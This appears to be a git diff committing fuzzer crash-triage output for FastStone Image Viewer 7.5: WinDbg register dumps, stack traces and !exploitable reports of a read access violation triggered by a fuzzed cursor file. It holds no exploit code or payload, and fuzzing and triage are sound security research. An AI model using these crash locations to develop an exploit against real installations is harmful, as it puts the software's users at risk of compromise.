+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7d50f7a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xFA8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xFA8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(fa8.96c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e37b10 edx=00003879 esi=ffdd0010 edi=0fd2afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.00838e+030 7.40799e-010 1.06976e-022 -1.2203e-020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f2000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f2000 f6604c80 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6295 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f2000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4781cd8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23060/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..aac3eea Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..fef33bd --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/23849/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x18DC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x18DC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(18dc.7b8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07e77b10 edx=00003879 esi=cfe30010 edi=0fc54fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.364987100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.40658e+031 -5.58046e-009 -7.52255e+012 -3.60591e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 